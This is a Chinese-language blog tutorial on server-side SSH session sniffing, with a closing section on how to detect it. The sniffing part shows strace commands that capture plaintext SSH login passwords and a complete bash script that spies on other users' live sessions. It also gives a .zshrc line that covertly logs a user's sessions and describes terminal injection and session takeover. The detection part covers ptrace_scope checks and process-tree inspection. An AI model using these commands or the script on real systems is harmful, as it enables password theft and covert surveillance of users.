什么是SSH会话嗅探?

SSH 会话嗅探通常涉及附加到一个 SSH 进程并拦截正在调用的系统调用,例如从键盘上读取按键,在控制台打印出字符的系统调用等。

使用 Strace 工具,我们就可以附加到一个进程上;这是一个强大的诊断和调试工具。同时,Strace 还可以跟踪一个特定进程产生或接收的系统调用和信号。

嗅探SSH明文密码

在我们登录 SSH 服务时,我们知道 SSH 是通过加密传输的,那么我们是否可以通过 SSH 以明文形式获取某人的密码?是的!当 SSH 的目的防止这种情况发生时,这是没有意义的(因为该行为是直接从用户连接的服务器监控会话,而不是通过网络 @_@)。因此尽管通过网络的流量是加密的,但在服务器端,sshd 将 fork 出一个子进程,在解密过程中密码是可读的。这是 sshd 的一个已知功能,并不是一个新鲜点了,故我们可以通过 strace 工具对该 sshd 进程进行嗅探。

此处为了安全演示,故在本地虚拟机中进行,虚拟机需安装 strace 工具,且 SSH 允许密码验证登录。

首先,让我们找到确切的 sshd 的 pid 号,此处可以尝试使用如下命令获取最旧的 pid 号:

[kali@kali ~]$ pgrep -l sshd
788 sshd
1037 sshd
1063 sshd

[kali@kali ~]$ 

接下来在测试服务器上,运行 strace 并使用 -p 参数指定 sshd 的 pid 号,使用 -f 参数监视所有子进程,使用 -e 跟踪所需的系统调用(可用的选项是trace=open,close,read,write);当然,为了更好的分析,此处也可以指定 -o 参数将 strace 捕获的内容保存到自定义的文件中。

其测试命令如下:

[kali@kali ~]$ sudo strace -f -p 788 -e trace=write

现在,从我们的测试机器上新开一个远程登录窗口,成功登录 ssh 后并立即退出,然后在运行 strace 命令的窗口使用 Ctrl+C 停止进程并查看捕获的数据,此时即可看到明文的 ssh 登录密码,如图所示:

image-20221210000350908.png

这种方法,本质即是通过使用 strace 来捕获目标 SSH 进程正在调用的 write() API。那么,既然 strace 可以捕获系统进程的调用,那么,可不可以从事 ssh 的间谍活动,不知不觉监听其它用户的操作呢?答案是可以的!下面我们可以通过一个示例进行简单演示。

使用strace进行SSH间谍活动

下面的这个脚本,即可帮助我们实现这个方式,从而获取其它用户的操作:

#!/bin/bash
trap 'rm -f -- ${tmpfile}; exit' INT

tmpfile="/tmp/$RANDOM$$$RANDOM"
pgrep -a -f '^ssh ' | while read pid a; do echo "OUTBOUND $a $pid"; done >${tmpfile}
pgrep -a -f '^sshd: .*@' | while read pid a; do
  tty="${a##*@}"
  from="`w | grep ${tty} | awk '{print $3}'`"
  echo "INBOUND $a (from $from) $pid"
done >>${tmpfile}

IFS=$'\n'; select opt in `cat ${tmpfile}`; do
  rm -f -- ${tmpfile}
  pid="${opt##* }"
  wfd="[0-9]"
  rfd="[0-9]"
  strace -e read,write -xx -s 9999999 -p ${pid} 2>&1 | while read -r a; do
    if [[ "${a:0:10}" =~ ^write\(${wfd}, ]] \
    && [ ${#wfd} -le 3 ] \
    && ! [[ "$a" =~ \ =\ 1$ ]]; then
        echo -en "`cut -d'"' -f2 <<<${a}`"
    elif [[ "${a:0:10}" =~ ^read\(${rfd}, ]] \
    && [ ${#rfd} -le 3 ]; then
        echo -en "`cut -d'"' -f2 <<<${a}`"
    elif [[ "$a" =~ ^read\((${rfd}+),.*\ =\ [1-9]$ ]]; then
        fd="${BASH_REMATCH[1]}"
        if [[ "$a" =~ \ =\ 1$ ]]; then
          rfd="$fd"
        fi
    elif [[ "${a:0:10}" =~ ^write\((${wfd}+), ]] \
    && [ ${#wfd} -gt 4 ]; then
        fd="${BASH_REMATCH[1]}"
        if [[ "${a}" =~ \\x00 ]]; then continue; fi
        if [[ "${a}" =~ \ =\ 1$ ]] || [[ "${a}" =~ \"\\x0d\\x0a ]]; then
          wfd="$fd"
        fi
    fi
  done
  echo ">> SSH session ($opt) closed"
  exit 0
done

将上述脚本保存并运行,选择一个 pts/tty 的终端监听,此时对应监听的终端用户操作在你这儿一幕了然,被窥探用户的每一步的操作在你这儿皆完美呈现:

image-20221210173739821

此处我们借助了 strace 工具,那么还有没有其它方法对其进行嗅探呢?有!下面再来个 script 工具再给大家演示一个。

不使用strace的SSH间谍活动

在不使用 strace 工具下我们还可以使用 script 工具代替。这里唯一的限制是,它必须事先设置好,也就是说,它对现有的(正在进行的)SSH 会话是不起作用的。

我们在设置前,可以事先查看一下 /etc/passwd 文件中对应用户的终端,由下图第一个命令可见我们目标用户 kali 的终端是 zsh,故我们需要写入用户家目录的 .zshrc 配置文件中,使得用户登录后初始化环境时即执行相关命令,其命令如下:

echo 'exec script -a -f -q -c /bin/bash ~/.ssh.log' >>/home/kali/.zshrc

当 kali 用户下次登录系统时,他的整个 SSH 会话将被记录在他的 $HOME/.ssh.log 文件中。然后,我们就可以窥探他的 SSH 会话了,例如借助于 tail 工具,其效果如下:

image-20221210175726489

虽然这不是一个非常隐蔽的技术,但有时它也能够派上用场。例如,打算建立 SSH 蜜罐的时候。

向控制台注入字符

这个方法并不涉及滥用 SSH 进程本身,但值得注意的是,root 用户(或 tty 组中的任何人)可以使用简单的 echo 命令向任何控制台(或伪终端)注入任意的字符。举个栗子:

image-20221210181041912

上图可看到,受害者控制台可以看到其它用户对它的注入内容。如果不知道有哪些终端,可以使用 wwho 命令查看。

该方法若向正在进行 SSH 会话的控制台注入字符并与 SSH 间谍和键盘记录技术一起使用,以便从毫无戒心的用户那里获取密码或证书。终端是一种有趣的东西,我们不应该盲目地相信我们所看到的一切。

接管SSH会话

下面这个,不仅仅局限在监听 ssh 会话了,而是接管用户的 ssh 会话!他人的会话终端,你做主!(Sorry 啦, root 用户真的可以为所欲为~)

废话不多说,此处我们可以直接使用由 nopernik 创建的 SSHPry2.0 项目进行相关操作,其项目地址如下:

将对应脚本下载至本地,然后根据帮助命令去执行相关命令,即可控制对应的终端,此时,被控制的终端,你可以对其执行它权限范围内的任何操作!如下图:

image-20221210184111194

此处在测试时发现,使用该工具可以控制对应终端,但是无法浏览你控制的终端的内容,那么此处,就可以和上述的 SSH 间谍活动小节联动起来,进行相关操作:

image-20221210184508717

到这里,这才算是一个真正的终极演示,展示了 SSH 会话如何被恶意管理员滥用,以及为什么我们应该在共享服务器上使用 SSH 时保持警惕。

对SSH嗅探的防御小技巧

此处对上述的相关测试分享一些简单的防御小技巧。

检查ptrace是否被启用

一旦你通过 SSH 登录到一个系统,应该立即检查该系统上是否启用了 ptrace 功能。Ptrace 在大多数系统上都是默认启用的,但生产系统很少需要使用调试工具,一般建议在生产模式的系统上禁用任何与 ptrace 有关的功能。

检查方法如下:

sysctl kernel.yama.ptrace_scope

如果你看到的不是 3 ,就意味着系统上启用了 trace( 3 意味着禁用)。

尝试用ptrace跟踪自己的进程

ptrace 的特性决定了它一次只能跟踪一个观察对象。您不能同时附加到一个进程上两次,这是我们可以用来确定是否有人附加到我们的进程上的方法。

下面使用 strace 跟踪自己的 SSH 进程为例:

[root@kali ~]# ps axwwf | grep -B2 $$ 
   7904 ?        Ss     0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
   7909 ?        Ss     0:00  \_ sshd: root@pts/3
   7935 pts/3    Ss     0:00      \_ -zsh
   7982 pts/3    R+     0:00          \_ ps axwwf
   7983 pts/3    S+     0:00          \_ grep --color=auto -B2 7935

[root@kali ~]# strace -e none -p 7909
strace: Process 7909 attached

上述命令可以看到我们的 strace 命令可以正常的附加到这个进程上面。如果你看到像下面这样的错误,而且你是以 root 用户身份登录的,那么很可能有人在监视你:

strace: attach: ptrace(PTRACE_SEIZE, 7909): Operation not permitted

此处需注意,由于某些原因,如果你以普通(非 root )用户的身份尝试,会看到同样的错误,所以这个方法只有在你是 root 用户时才真正有效。一般来说,如果你能用 strace 成功地附加到你的任何进程上,就可以认为没有其他人在用 strace 监视相应的进程。

检查进程列表

通过检查流程列表树,我们可以发现 SSH 会话是否存在可疑的情况。例如,如果我们看到像下面这样的进程列表,我们可以假设我们的会话正在被 script 工具所记录:

[kali@kali ~]$ ps axwwf | grep -B2 $$
   7539 ?        S      0:00      \_ sshd: kali@pts/2
   7540 pts/2    Ss+    0:00          \_ script -a -f -q -c /bin/bash /home/kali/.ssh.log
   7556 pts/5    Ss     0:00              \_ /bin/bash
   7595 pts/5    R+     0:00                  \_ ps axwwf
   7596 pts/5    S+     0:00                  \_ grep --color=auto -B2 7556

可以看到在 sshd 进程之后我们的 shell 之前存在一个 script 命令,通常情况下,在 sshd 进程和 shell 进程之间没有其他进程,那么你可以安全地认为该 SSH 会话没有被记录。

注意,在 Linux 上,有一些方法可以从进程列表中隐藏和替换程序名称(包括参数),所以不要总是指望它。一个这样的例子是 zap-args ,它可以用 LD_PRELOAD 方法来实现上面的目的,此处暂不概述。

忠言逆耳

在此处,当你连接到一个你不能完全控制的系统时,你永远不可能做到真正安全,这是千真万确的。同时,你也可能永远都无法检测到是否有人在监视你。这是不可能的,特别是考虑到 LKM(可加载内核模块),因为它允许一个恶意的管理员为所欲为。因此,上述方法只能作为参考借鉴,不要指望能成为灵丹妙药。即使上面的所有步骤都告诉你是安全的,也不要认为万事大吉。在一个你无法完全掌控的服务器上,任何事情都有可能。

End

本文标题:记录SSH的嗅探及防御学习

本文链接:https://www.isisy.com/1433.html

除非另有说明,本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议

声明:转载请注明文章来源。

最后修改:2022 年 12 月 10 日
如果觉得我的文章对你有用,请随意赞赏